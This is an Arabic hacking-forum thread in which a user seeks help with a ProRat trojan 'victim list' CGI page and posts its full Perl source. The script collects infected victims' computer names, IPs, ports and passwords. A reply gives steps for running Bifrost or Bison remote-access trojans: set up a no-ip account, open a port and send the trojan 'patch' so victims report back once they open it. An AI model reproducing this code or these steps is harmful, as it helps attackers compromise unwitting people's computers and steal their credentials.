مساعدة من اهل الخبرة فى صفحة cgi برورات

[عماد س]

السلام عليكم

انا عندى مشكلة ومش عارف الها حل حاولت فى جميع الطرق واتمنى ان تساعدونى فى حل المشكلة

1:بعد ما اعمل صفحة cgi البرورات ورفعها على الموقع المجانى عن طريق برنامج ftp لحتى الان كله تمام بترفع على المنتدى ملفين ملف prorat.cgi وملف log الحين لما بيدى ادخل على صفحة البرورات الصفحة وتظهر لى هذة المشكلة فى صفحة cgi...............

وما تطلب الباسورد الى وضعتة فى البرورات 123456

ممكن حل المشكلة يا اخوانى ولكم جزيل الشكر

#!/usr/bin/perl
#################################################################################################
# #
# soMMMMo MMMMMMo MMMMMMo oMMs MMsssss #
# MMMMMMMMM MMMMMMMMs oMMMMo MMMMMMMMs MMMM MMMMMMMMMMM #
# MMMMs oMo oMMMMMMMo sMMMMMMMs oMMMMMMMo MMMMs MMMMMMMMMMM #
# oMMs MM soMMs oMM sMMMs oMMs soMMs oMM MMMMo MMooMMos #
# sMMo sMM sMMs MM oMMs MMM sMMs MM sMMoMM MMo #
# sMM oMo sMMs sMM MMM oMMo sMMs sMM sMMsMMs MMo #
# MMs oMMs oMMooMMo MMM sMMM oMMooMMo oMM MMM MMo #
# MMMMMMo oMMMMMM MMM sMMM oMMMMMM oMM oMMs MMo #
# MMMMMs oMMMMMs MMMs MMM oMMMMMs oMM oMMo oMo #
# MMM oMMMMMs MMMs MMM oMMMMMs sMMMMMMMM oMo #
# oMM oMMMMMM oMMo MMM oMMMMMM MMMMMMMMMs oMM #
# oMMs oMMoMMMo sMMo MMo oMMoMMMo MMMo oMMM oMM #
# oMMo oMMooMMMMs MMM sMMs oMMooMMMMs sMMo sMMMs oMM #
# oMMM oMMo oMMM oMMo sMMM oMMo oMMM sMMo MMMo oMM #
# oMMMs oMMo sMs oMMMMMMs oMMo sMs oMMo MMMo oMM #
# soMMo MMMo oMMMo MMMo oMMo oos soMs #
# #
#################################################################################################
# ABOUT #
#################################################################################################
# ProHack.Net ProRat Victim List #
# *** : http://www.prorat.net #
# *** : http://www.prohack.net #
# *** : http://www.prohack.org #
# *** : http://www.proprogram.net #
# Email : [email protected] #
# Coded by : PRO Group #
#################################################################################################
# LANGUAGE #
#################################################################################################
$lang1 = "CGI لاتوجد";
$lang2 = "ProHack.Net قائمة ضحايا برو رات ( يجب إدخال كلمة المرور من جديد )";
$lang3 = "خطأ في كلمة المرور. يجب التأكد منها!";
$lang4 = "موافق";
$lang5 = "ProHack.Net قائمة ضحايا برو رات ( إدخل كلمة المرور )";
$lang6 = "الرجاء ادخال كلمة المرور:";
$lang7 = "ProHack.Net قائمة ضحايا برو رات";
$lang8 = "ProHack.Net قائمة ضحايا برو رات";
$lang9 = "CGI اختبار";
$lang10 = "اختبار";
$lang11 = "يناير";
$lang12 = "فبراير";
$lang13 = "مارس";
$lang14 = "إبريل";
$lang15 = "مايو";
$lang16 = "يونيو";
$lang17 = "يوليو";
$lang18 = "أغسطس";
$lang19 = "سبتمبر";
$lang20 = "أكتوبر";
$lang21 = "نوفمبر";
$lang22 = "ديسمبر";
$lang23 = "الأحد";
$lang24 = "الاثنين";
$lang25 = "الثلاثاء";
$lang26 = "الأربعاء";
$lang27 = "الخميس";
$lang28 = "الجمعة";
$lang29 = "السبت";
$lang30 = "التاريخ";
$lang31 = "الوقت";
$lang32 = "تحــديث الصفحـة";
$lang33 = "مسح القـــائمة";
$lang34 = "اسـم الجهـاز";
$lang35 = "IP عنوان";
$lang36 = "المنفــذ";
$lang37 = "الضحية";
$lang38 = "السيرفر";
$lang39 = "الوقـت";
$lang40 = "التــاريخ";
$lang41 = "كلمـة المرور";
$lang42 = "windows-125";
#################################################################################################

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@ciftler = split(/&/, $buffer);
foreach $cift (@ciftler)
{
($isim, $deger) = split(/=/, $cift);
$deger =~ s/(%0D)+//ig;
$deger =~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/\n/<br>/g;
${$isim} = $deger;
}
@degerler=split(/&/,$ENV{'QUERY_STRING'});
foreach $i (@degerler) {
($alanadi,$deger)=split(/=/,$i);
$deger=~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/\n/<br>/g;
${$alanadi}=$deger;
}
#################################################################################################
# SETTINGS #
#################################################################################################
$script_name = "prorat.cgi";
$log_file = "log.dat";
$password = "123456";
$show_list = "500";
#################################################################################################

open (FILE,"+<$log_file") || die "$log_file $lang1\n";
@list = <FILE>;
close(FILE);
@list=reverse(@list);

while ($#list >= $show_list) {
pop @list;
}

if ($islem eq "log"){&log;exit;}
if (($islem eq "temizle")&&($pass eq $password)){&temizle;exit;}
if ($password eq ""){&sayfa;}
if ($islem eq ""){&pass;exit;}
if (($islem eq "giris")&&($pass eq $password)){&sayfa;exit;}&hatali;exit;

sub hatali {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><**** **********=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang2</title></head>\n";
print "<body bgcolor=#235BD9>\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"40%\" align=center><br><br><br><br>\n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>\n";
print "<b>$lang3</b></font></table></center></tr></center>\n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr><br></tr></table></center>\n";
print "<center><form action=$script_name>\n";
print "<input type=parola name=pass size=30%>\n";
print "<input type=hidden name=islem value=giris>\n";
print "<input type=submit value=\"$lang4\">\n";
print "</form></center><br>\n";
print "</td></tr></table>\n";
print "</body></html>\n";
exit;
}

sub pass {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><**** **********=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang5</title></head>\n";
print "<body bgcolor=#235BD9>\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"40%\" align=center><br><br><br><br>\n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>\n";
print "<b>$lang6</b></font></table></center></tr></center>\n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr><br></tr></table></center>\n";
print "<center><form action=$script_name>\n";
print "<input type=parola name=pass size=30%>\n";
print "<input type=hidden name=islem value=giris>\n";
print "<input type=submit value=\"$lang4\">\n";
print "</form></center><br>\n";
print "</td></tr></table>\n";
print "</body></html>\n";
exit;
}

sub sayfa {
print "Content-type:text/html\n\n";
print "<html>\n";
print "<head><**** **********=Content-Type content=text/html; charset=$lang42>\n";
print "<title>$lang7</title>\n";
print "<style type=text/css><!--body {scrollbar-face-color:#E0E4F3; scrollbar-highlight-color:#5969AE;\n";
print "scrollbar-shadow-color: #5969AE; scrollbar-arrow-color: #5969AE; scrollbar-track-color: #0101F5; }\n";
print "A:active {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A:hover {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A:link {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}\n";
print "A {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none} -->\n";
print "</style></head><body onLoad=\"startclock();\" topmargin=\"4\" bgcolor=\"#0101F5\"><center><a href=\"http://www.prohack.net\">\n";
print "<font color=#E0E4F3 style=font-size:18 face=Times New Roman>=<b><u>$lang8</u></b></a>=\n";
print "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" id=\"AutoNumber1\" width=\"100%\">\n";
print "<tr><td><form method=\"POST\" action=\"$script_name\"><input type=\"hidden\" name=\"islem\" value=\"log\">\n";
print "<input type=\"hidden\" name=\"pass\" value=\"$password\"><p align=\"center\"><b><font color=\"#E0E4F3\">$lang9</font></b>\n";
print "<input type=\"text\" name=\"bilgisayaradi\" size=\"10\" value=\"$lang34\" tabindex=\"01\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"ipadresi\" size=\"10\" value=\"$lang35\" tabindex=\"02\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serverportu\" size=\"10\" value=\"$lang36\" tabindex=\"03\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"kurban\" size=\"10\" value=\"$lang37\" tabindex=\"04\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"servermodeli\" size=\"10\" value=\"$lang38\" tabindex=\"05\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serversaati\" size=\"10\" value=\"$lang39\" tabindex=\"06\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"servertarihi\" size=\"10\" value=\"$lang40\" tabindex=\"07\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;&nbsp;<input type=\"text\" name=\"serversifre\" size=\"10\" value=\"$lang41\" tabindex=\"08\" style=\"border: 3px double #5969AE; background-color: #E0E4F3\">\n";
print "&nbsp;<input type=\"submit\" value=\"$lang10\" name=\"TEST\" tabindex=\"09\" style=\"border: 3px double #5969AE; background-color: #E0E4F3; font-weight:bold\">\n";
print "</p></form></td></tr></table>\n";
print "<script language=\"JavaScript\">\n";
print "var timerID = null\n";
print "var timerRunning = false\n";
print "function MakeArray(size) \n";
print "{\n";
print "this.length = size;\n";
print "for(var i = 1; i <= size; i++)\n";
print "{\n";
print "this = \"\";\n";
print "}\n";
print "return this;\n";
print "}\n";
print "function stopclock (){\n";
print "if(timerRunning)\n";
print "clearTimeout(timerID);\n";
print "timerRunning = false\n";
print "}\n";
print "function showtime () {\n";
print "var now = new Date();\n";
print "year = new String(now.getYear())\n";
print "yearLen = year.length\n";
print "year = year.split(\"\")\n";
print "year = year[yearLen - 4] + year[yearLen - 3] + year[yearLen - 2] + year[yearLen - 1]\n";
print "var month = now.getMonth()+1;\n";
print "Month = new MakeArray(12);\n";
print "Month[1]=\"$lang11\";\n";
print "Month[2]=\"$lang12\";\n";
print "Month[3]=\"$lang13\";\n";
print "Month[4]=\"$lang14\";\n";
print "Month[5]=\"$lang15\";\n";
print "Month[6]=\"$lang16\";\n";
print "Month[7]=\"$lang17\";\n";
print "Month[8]=\"$lang18\";\n";
print "Month[9]=\"$lang19\";\n";
print "Month[10]=\"$lang20\";\n";
print "Month[11]=\"$lang21\";\n";
print "Month[12]=\"$lang22\";\n";
print "var date = now.getDate();\n";
print "var hours = now.getHours();\n";
print "var minutes = now.getMinutes();\n";
print "var seconds = now.getSeconds();\n";
print "var day = now.getDay();\n";
print "Day = new MakeArray(7);\n";
print "Day[0]=\"$lang23\";\n";
print "Day[1]=\"$lang24\";\n";
print "Day[2]=\"$lang25\";\n";
print "Day[3]=\"$lang26\";\n";
print "Day[4]=\"$lang27\";\n";
print "Day[5]=\"$lang28\";\n";
print "Day[6]=\"$lang29\";\n";
print "var timeValue = \"\";\n";
print "timeValue += ((month < 10) ? \" \" : \" \");\n";
print "timeValue += \"$lang30 \" + date + \"-\" + (Month[month]) + \"-\" + year + \"-\" + (Day[day]) + \" \" + \"$lang31 \";\n";
print "timeValue += ((hours <= 24) ? hours : hours - 12);\n";
print "timeValue += ((minutes < 10) ? \":0\" : \":\") + minutes;\n";
print "timeValue += ((seconds < 10) ? \":0\" : \":\") + seconds;\n";
print "timeValue += (hours < 12) ? \" AM\" : \" PM\";\n";
print "document.saatvetarih.face.value = timeValue;\n";
print "timerID = setTimeout(\"showtime()\",1000);\n";
print "timerRunning = true\n";
print "}\n";
print "function startclock () {\n";
print "stopclock();\n";
print "showtime()\n";
print "}\n";
print "// End Hiding -->\n";
print "</script>\n";
print "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\">\n";
print "<tr><td width=\"34%\" align=\"center\"><form name=\"saatvetarih\">\n";
print "<input type=text name='face' size=55 style=\"border-style:solid; border-width:0; color: #E0E4F3; font-family: sans-serif, Arial, Helvetica; background-color: #0101F5; font-size:10px; font-weight:bold\">\n";
print "</td></form><td width=\"33%\" align=\"center\"><b><font size=\"1\"><a href=\"$script_name?pass=$pass&islem=giris\" style=\"text-decoration: none\">\n";
print "<font color=\"#E0E4F3\">$lang32</font></a></font></b></td><td width=\"33%\" align=\"center\"><b><font size=\"1\">\n";
print "<a href=\"$script_name?pass=$pass&islem=temizle\" style=\"text-decoration: none\">\n";
print "<font color=\"#E0E4F3\">$lang33</font></a></font></b></td></tr></table></center>\n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width=\"100%\">\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang34&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang35&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang36&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang37&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang38&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang39&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang40&nbsp;</b></td>\n";
print "<td><center><font color=\"#495A97\" style=font-size:14 face=Tahoma><b>&nbsp;$lang41&nbsp;</b></td>@list\n";
print "</tr></table></body></html>\n";
exit;
}

sub log {
$mono = "<tr><td>".$bilgisayaradi."</td><td>".$ipadresi."</td><td>".$serverportu."</td><td>".$kurban."</td><td>".$servermodeli."</td><td>".$serversaati."</td><td>".$servertarihi."</td><td>".$serversifre."</td>\n";
open(DOSYA,">>$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$pass\n\n";
}

sub temizle {
open(DOSYA,">$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$pass\n\n";
}

# ProHack.Net Profesyonel Internet !!!

 

[gailb777]

رد: مساعدة من اهل الخبرة فى صفحة cgi برورات

أخوي أنت حدك قديم منو الحين يسوي صفحة cgi الحين أدز للضحيه الباتش لما يفتح الباتش يوصلك التبليغ

شرط أنك مو تعلم الهكر بديف بوينت صحـ

 

[عماد س]

رد: مساعدة من اهل الخبرة فى صفحة cgi برورات

يا اخى دز الباتش مش صعب بس صعب يوصلك التيليغ وخصوصا عن طريق الايميل

شكراااا يااخى كثير على الرد

 

[gailb777]

رد: مساعدة من اهل الخبرة فى صفحة cgi برورات

أخوي الحين أدز الباتش وعلطول يجيك الضحيه بدون الحاجه لصفحة cgi و الميل

أول شي سوي حساب نوأيبي بعدين أفتح البورت بعدين حمل برنامج بيفروست أو بيزون

ودز لباتش للضحيه بعدين أول مايفتح الضحيه الباتش يجيك تبليغ علي برنامج لأختراق

 

[عماد س]

رد: مساعدة من اهل الخبرة فى صفحة cgi برورات

مشكور اخوى كثير على الاهتمام والله لا يحرمنا منك
مشكورررررررررررررررررررررررررررررر